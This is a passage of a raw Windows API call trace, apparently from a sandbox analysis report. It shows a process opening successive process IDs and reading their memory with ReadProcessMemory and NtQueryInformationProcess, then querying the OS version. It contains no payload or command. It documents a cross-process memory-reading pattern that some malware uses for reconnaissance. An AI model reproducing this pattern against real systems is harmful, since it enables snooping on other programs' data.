ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x358018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0291.853] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0291.853] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x1d1d20, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0291.853] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x1d18f8, lpBuffer=0x2dc22fc240, nSize=0x7c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0291.854] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0291.856] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0291.856] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x358020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0291.856] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x1d12e0, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0291.856] malloc (_Size=0x84) returned 0x20abc2aacc0 [0291.856] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x1d1974, lpBuffer=0x20abc2aacc0, nSize=0x82, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2aacc0*, lpNumberOfBytesRead=0x0) returned 1 [0291.857] free (_Block=0x20abc2aacc0) [0291.857] CloseHandle (hObject=0x16c) returned 1 [0291.858] _ui64tow_s (in: _Value=0xf6c, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="3948") returned 0x0 [0291.861] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="3948") returned 4 [0291.862] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0291.862] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0291.876] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xf6c) returned 0x16c [0291.876] GetLastError () returned 0x0 [0291.877] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0291.878] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x419018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0291.878] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0291.878] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x391c90, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0291.878] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x3918f8, lpBuffer=0x2dc22fc240, nSize=0x4c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0291.879] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0291.911] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0291.911] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x419020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0291.911] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x3912e0, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0291.911] malloc (_Size=0x54) returned 0x20abc2a7840 [0291.911] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x391944, lpBuffer=0x20abc2a7840, nSize=0x52, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2a7840*, lpNumberOfBytesRead=0x0) returned 1 [0291.912] free (_Block=0x20abc2a7840) [0291.912] CloseHandle (hObject=0x16c) returned 1 [0291.913] _ui64tow_s (in: _Value=0xf78, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="3960") returned 0x0 [0291.916] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="3960") returned 4 [0291.917] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0291.917] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0291.931] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xf78) returned 0x16c [0291.931] GetLastError () returned 0x0 [0291.932] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0291.932] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x3ab018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0291.932] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0291.933] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x5e1ce0, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0291.933] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x5e18f8, lpBuffer=0x2dc22fc240, nSize=0x66, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0291.934] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0291.936] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0291.936] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x3ab020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0291.936] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x5e12e0, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0291.936] malloc (_Size=0x6e) returned 0x20abc2831b0 [0291.936] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x5e195e, lpBuffer=0x20abc2831b0, nSize=0x6c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2831b0*, lpNumberOfBytesRead=0x0) returned 1 [0291.937] free (_Block=0x20abc2831b0) [0291.937] CloseHandle (hObject=0x16c) returned 1 [0291.938] _ui64tow_s (in: _Value=0xf88, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="3976") returned 0x0 [0291.942] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="3976") returned 4 [0291.962] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0291.962] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0291.976] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xf88) returned 0x16c [0291.977] GetLastError () returned 0x0 [0291.978] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0291.978] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x415018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0291.978] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0291.978] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x271c90, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0291.979] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x2718f8, lpBuffer=0x2dc22fc240, nSize=0x4c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0291.980] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0291.981] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0291.981] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x415020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0291.981] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x2712e0, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0291.981] malloc (_Size=0x54) returned 0x20abc2a7c00 [0291.982] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x271944, lpBuffer=0x20abc2a7c00, nSize=0x52, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2a7c00*, lpNumberOfBytesRead=0x0) returned 1 [0291.982] free (_Block=0x20abc2a7c00) [0291.983] CloseHandle (hObject=0x16c) returned 1 [0291.983] _ui64tow_s (in: _Value=0xf90, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="3984") returned 0x0 [0291.987] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="3984") returned 4 [0291.988] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0291.988] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0292.001] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xf90) returned 0x16c [0292.001] GetLastError () returned 0x0 [0292.002] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0292.002] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x380018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0292.002] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0292.002] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x501cc0, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0292.003] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x5018f8, lpBuffer=0x2dc22fc240, nSize=0x5c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0292.004] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0292.019] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0292.019] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x380020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0292.019] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x5012e0, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0292.019] malloc (_Size=0x64) returned 0x20abc2801b0 [0292.020] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x501954, lpBuffer=0x20abc2801b0, nSize=0x62, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2801b0*, lpNumberOfBytesRead=0x0) returned 1 [0292.020] free (_Block=0x20abc2801b0) [0292.021] CloseHandle (hObject=0x16c) returned 1 [0292.021] _ui64tow_s (in: _Value=0xf9c, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="3996") returned 0x0 [0292.025] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="3996") returned 4 [0292.026] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0292.026] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0292.054] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xf9c) returned 0x16c [0292.054] GetLastError () returned 0x0 [0292.056] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0292.056] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x3fc018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0292.056] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0292.056] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x521cf0, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0292.056] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x5218f8, lpBuffer=0x2dc22fc240, nSize=0x6a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0292.057] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0292.059] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0292.059] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x3fc020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0292.059] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x5212e0, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0292.059] malloc (_Size=0x72) returned 0x20abc2831b0 [0292.059] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x521962, lpBuffer=0x20abc2831b0, nSize=0x70, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2831b0*, lpNumberOfBytesRead=0x0) returned 1 [0292.060] free (_Block=0x20abc2831b0) [0292.060] CloseHandle (hObject=0x16c) returned 1 [0292.061] _ui64tow_s (in: _Value=0xfb0, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="4016") returned 0x0 [0292.064] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="4016") returned 4 [0292.065] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0292.065] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0292.107] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xfb0) returned 0x16c [0292.107] GetLastError () returned 0x0 [0292.108] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0292.108] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x211018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0292.108] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0292.108] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x581d60, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0292.109] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x581958, lpBuffer=0x2dc22fc240, nSize=0x70, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0292.110] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0292.111] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0292.111] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x211020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0292.111] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x581340, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0292.112] malloc (_Size=0x78) returned 0x20abc282120 [0292.112] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x5819c8, lpBuffer=0x20abc282120, nSize=0x76, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc282120*, lpNumberOfBytesRead=0x0) returned 1 [0292.112] free (_Block=0x20abc282120) [0292.113] CloseHandle (hObject=0x16c) returned 1 [0292.113] _ui64tow_s (in: _Value=0xfb8, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="4024") returned 0x0 [0292.117] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="4024") returned 4 [0292.118] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0292.118] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0292.153] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xfb8) returned 0x16c [0292.153] GetLastError () returned 0x0 [0292.154] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0292.154] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x214018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0292.155] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0292.155] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x451cd0, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0292.155] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x4518f8, lpBuffer=0x2dc22fc240, nSize=0x62, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0292.156] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0292.158] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0292.158] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x214020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0292.158] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x4512e0, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0292.158] malloc (_Size=0x6a) returned 0x20abc2831b0 [0292.158] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x45195a, lpBuffer=0x20abc2831b0, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2831b0*, lpNumberOfBytesRead=0x0) returned 1 [0292.159] free (_Block=0x20abc2831b0) [0292.159] CloseHandle (hObject=0x16c) returned 1 [0292.160] _ui64tow_s (in: _Value=0xfc4, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="4036") returned 0x0 [0292.164] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", 